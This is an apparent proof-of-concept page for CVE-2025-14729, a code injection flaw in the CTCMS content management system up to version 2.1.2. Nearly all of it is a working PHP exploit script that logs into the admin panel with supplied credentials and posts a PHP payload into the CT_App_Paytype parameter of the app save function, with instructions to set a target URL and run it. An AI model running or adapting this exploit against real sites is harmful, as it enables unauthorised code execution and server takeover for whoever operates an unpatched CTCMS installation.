CVE-2025-14729 | CTCMS up to 2.1.2 代码注入漏洞

<?php /** * CVE-2025-14729 PoC - CTCMS Code Injection * Affected: CTCMS Content Management System <= 2.1.2 * Location: /ctcms/libs/Ct_App.php - Save function * Parameter: CT_App_Paytype * * Usage: Modify the target URL and credentials, then run with PHP */ $target = "http://target.com/ctcms/"; $username = "admin"; $password = "admin123"; // Step 1: Login to get session cookie $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . "index.php?c=login&a=check"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "username=" . urlencode($username) . "&password=" . urlencode($password)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt"); $response = curl_exec($ch); curl_close($ch); // Step 2: Send malicious payload via CT_App_Paytype parameter $payload = "<?php phpinfo(); ?>"; // Basic test payload $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . "index.php?c=app&a=save"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "CT_App_Paytype=" . urlencode($payload)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt"); $response = curl_exec($ch); curl_close($ch); echo "Exploit sent. Check target for code execution.\n"; ?>